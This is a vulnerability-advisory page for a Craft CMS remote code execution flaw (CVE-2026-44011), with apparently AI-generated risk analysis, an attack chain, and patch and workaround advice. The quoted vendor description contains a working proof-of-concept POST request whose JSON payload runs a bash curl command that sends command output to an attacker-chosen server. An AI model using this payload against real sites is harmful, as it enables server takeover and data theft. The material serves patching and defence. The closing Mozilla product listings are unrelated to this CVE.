Craft CMS CVE-2026-44011
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Craft admin panel
-
DeliveryCapture session cookie and CSRF token
-
ExploitCraft malicious JSON with nested behavior injection
-
InstallPOST to /admin/actions/element-search/search
-
C2Trigger FieldLayout hydration without cleanseConfig()
-
ExecuteAttach AttributeTypecastBehavior to Component
-
ImpactFire wildcard event handler
-
Step 8Execute arbitrary system commands as web server user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V15 - Secure Coding and Architecture Reflection safety, class allowlisting
|
| Exploitation Conditions | Exploitation requires an authenticated Craft CMS user account with access to admin panel endpoints (/admin/actions/*). CRITICAL AMBIGUITY: The CVE description states 'any authenticated user' can exploit this, while the related GHSA-255j-qw47-wjh5 advisory explicitly requires 'administrator access to the Craft Control Panel.' This discrepancy must be verified with the vendor - if only administrators can access /admin/actions/element-search/search, then administrator-level privileges are required; if lower-privilege authenticated users can reach these endpoints, the attack surface is significantly broader. The attacker must obtain a valid session cookie (CraftSessionId) and CSRF token (CRAFT_CSRF_TOKEN) through legitimate login or session hijacking. No special Craft CMS configuration, plugins, or non-default settings are required - the vulnerability exists in core element search and element-indexes functionality. The target server must allow outbound network connections if using the DNS/HTTP exfiltration technique demonstrated in the POC (curl to attacker server), though local command execution does not require outbound access. Exploitation is NOT limited by: specific Craft CMS features being enabled, particular content types configured, or user interaction beyond the attacker's own authenticated session. |
| Impact | Real-world risk is MODERATE despite enabling full remote code execution. The critical limiting factor is the authentication requirement - exploitation requires valid Craft CMS user credentials with access to admin endpoints. While the GitHub advisory for the related GHSA-255j-qw47-wjh5 states 'attackers must have administrator access,' the current CVE description and POC demonstrate exploitation by 'any authenticated user' through /admin/actions/element-search/search, indicating possible privilege escalation from low-privilege accounts. Attack complexity is LOW (AC:L inferred from detailed POC) - the exploit is straightforward JSON injection requiring only a valid session cookie and CSRF token. No public exploit identified at time of analysis beyond the vendor-provided POC, and not listed in CISA KEV, suggesting limited widespread exploitation. However, the detailed POC in the GitHub advisory significantly lowers the barrier for weaponization. The vulnerability represents a bypass of previous security fixes, indicating this is an actively researched attack surface. Impact is COMPLETE system compromise (arbitrary command execution as web server user). Organizations running Craft CMS with multiple authenticated users, especially in multi-tenant or client-accessible installations, face elevated risk. CRITICAL CONFLICT IN DATA: The related GHSA-255j-qw47-wjh5 requires administrator access, but this CVE states 'any authenticated user' - verify with vendor whether admin privileges are truly required or if this represents a distinct exploitation path with lower privilege requirements. |
| Exploit ScenarioDerived | An authenticated attacker with valid Craft CMS credentials logs into the admin panel and captures their session cookie and CSRF token. They craft a malicious POST request to /admin/actions/element-search/search containing a JSON payload with nested fieldLayouts configuration that injects yii\behaviors\AttributeTypecastBehavior as a behavior attachment. The payload specifies a typecastBeforeSave callable pointing to Psy\Readline\Hoa\ConsoleProcessus::execute with a Bash reverse shell command. When Craft CMS processes the element search request, it hydrates the FieldLayout object without sanitization, attaching the malicious behavior and triggering the beforeSave event via wildcard event handler. The ConsoleProcessus::execute method runs the attacker's command as the web server user (typically www-data or nginx), establishing a reverse shell to attacker-controlled infrastructure or exfiltrating sensitive data via DNS/HTTP callbacks. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 06, 2026
Remote code execution in Craft CMS allows any authenticated user to execute arbitrary system commands via malicious Yii object configuration. This vulnerability exploits uncleansed field layout data in the condition handling path, bypassing previous CVE-2024-4990 mitigations. Attackers can inject behaviors through POST requests to admin endpoints like /admin/actions/element-search/search, triggering command execution via AttributeTypecastBehavior abuse. Publicly available exploit code exists in the GitHub advisory (GHSA-qrgm-p9w5-rrfw) with detailed proof-of-concept. Affects Craft CMS 4.0.0-RC1 through 4.16.16 and 5.0.0-RC1 through 5.8.20. Vendor-released patches: 4.16.17 and 5.8.21.
RemediationAI
Upgrade immediately to Craft CMS version 5.8.21 (for 5.x deployments) or 4.16.17 (for 4.x deployments) as documented in GitHub commit 27f55886098b56c00ddc53b69239c9c9192252c7 and 6e608a1a5bfb36943f94f584b7548ca542a86fef. The patches implement Component::cleanseConfig() boundaries in the condition and field layout hydration code paths, preventing malicious configuration injection during object creation. Review the Craft CMS 5.x changelog at https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04 for complete fix details. If immediate patching is not possible, implement compensating controls: (1) Restrict authenticated user access to admin panel routes (/admin/*) using web server ACLs limited to trusted IP ranges - this prevents remote exploitation but may disrupt legitimate remote administration workflows; (2) Deploy a Web Application Firewall (WAF) rule to block POST requests to /admin/actions/element-search/search and /admin/actions/element-indexes/* containing JSON payloads with '__class', '__construct()', or 'as ' keys in the condition.fieldLayouts parameter - note this may break legitimate administrative functions using dynamic field layouts; (3) Enable comprehensive audit logging of all admin panel POST requests to detect exploitation attempts via unusual curl/wget command patterns in server logs or unexpected outbound connections. All workarounds significantly impact usability and should be considered temporary only until patching.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability targets Craft CMS's implementation of Yii framework's dynamic object configuration feature. The flaw (CWE-470: Use of Externally-Controlled Input to Select Classes or Code) exists in how Craft CMS hydrates FieldLayout objects from request data without applying Component::cleanseConfig() sanitization boundaries. Yii's behavior attachment mechanism (via 'as <behavior>' syntax) allows applications to dynamically attach behavior classes to components at runtime. Craft CMS models call configuration methods before parent::__construct(), enabling attacker-controlled special config keys to take effect during object creation. The vulnerability chain exploits AttributeTypecastBehavior's typecastBeforeSave functionality, which accepts arbitrary callables. When a field layout initialization triggers an event on the tainted Component (using wildcard event handlers 'on *'), the malicious callable executes. This represents an evolution of the object-config/behavior-injection vulnerability family, specifically bypassing mitigations implemented for CVE-2024-4990 and CVE-2024-58136 by using legitimate Yii behavior classes rather than arbitrary class instantiation.
Know when Mozilla gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Primary rating from Vendor (https://github.com/craftcms/cms) · only source for this CVE.
CVSS VectorVendor: https://github.com/craftcms/cms
Lifecycle Timeline
1DescriptionCVE.org
We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.
This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.
The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.
This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.
We were able to reproduce the attack by issuing a POST request to /admin/actions/element-search/search with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same beforeAction() path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:
POST /admin/actions/element-search/search HTTP/2
Host: hostnamehere
Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;
Content-Length: …
User-Agent: Mozilla/5.0
X-Csrf-Token: ...
Accept: application/json
Content-Type: application/json
{
"elementType": "craft\\elements\\Category",
"siteId": 1,
"search": "",
"condition": {
"class": "craft\\elements\\conditions\\ElementCondition",
"elementType": "craft\\elements\\Category",
"fieldLayouts": [
{
"as rce": {
"__class": "yii\\behaviors\\AttributeTypecastBehavior",
"__construct()": [
{
"attributeTypes": {
"typecastBeforeSave": [
"Psy\\Readline\\Hoa\\ConsoleProcessus",
"execute"
]
},
"typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)""
}
]
},
"on *": "self::beforeSave"
}
]
}
}Resources
https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3
Executive ViewAI
Craft CMS versions 4.0 through 4.16.16 and 5.0 through 5.8.20 are vulnerable to remote code execution by authenticated users, allowing attackers with admin access to execute arbitrary system commands through malicious object configuration. This directly threatens production websites running affected versions, as any authenticated admin user can trigger full system compromise without additional exploitation steps.
Vendor-released patch: Craft CMS 4.16.17 and 5.8.21. If patching cannot be completed immediately: (1) Restrict network access to /admin/actions/element-search/search endpoint to authorized IPs only via WAF or reverse proxy; (2) Disable or audit all admin user accounts and enforce password rotation; (3) Enable request logging and alerting for POST requests to admin endpoints; (4) Monitor system processes for unexpected command execution from web server processes.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Affected Products (CPE)CVE.org
The PDF reader in Mozilla Firefox before 39.0.3, Firefox ESR 38.x before 38.1.1, and Firefox OS before 2.2 allows remote
Mozilla Firefox before 22.0, Firefox ESR 17.x before 17.0.7, Thunderbird before 17.0.7, and Thunderbird ESR 17.x before
Mozilla Firefox before 18.0, Firefox ESR 10.x before 10.0.12 and 17.x before 17.0.2, Thunderbird before 17.0.2, Thunderb
Use-after-free vulnerability in the serializeToStream implementation in the XMLSerializer component in Mozilla Firefox b
The Chrome Object Wrapper (COW) implementation in Mozilla Firefox before 16.0, Firefox ESR 10.x before 10.0.8, Thunderbi
The crypto.generateCRMFRequest function in Mozilla Firefox before 23.0, Firefox ESR 17.x before 17.0.8, Thunderbird befo
An issue was discovered in the Cisco WebEx Extension before 1.0.7 on Google Chrome, the ActiveTouch General Plugin Conta
The XrayWrapper implementation in Mozilla Firefox before 35.0 and SeaMonkey before 2.32 does not properly interact with
The Chrome Object Wrapper (COW) implementation in Mozilla Firefox before 18.0, Firefox ESR 17.x before 17.0.2, Thunderbi
The Web IDL implementation in Mozilla Firefox before 28.0, Firefox ESR 24.x before 24.4, Thunderbird before 24.4, and Se
Mozilla Firefox before 28.0, Firefox ESR 24.x before 24.4, Thunderbird before 24.4, and SeaMonkey before 2.25 allow remo
The Firefox sandbox in Adobe Flash Player before 10.3.183.67 and 11.x before 11.6.602.171 on Windows and Mac OS X, and b
GHSA-qrgm-p9w5-rrfw
NVD
CVE.org
EPSS
Exploit-DB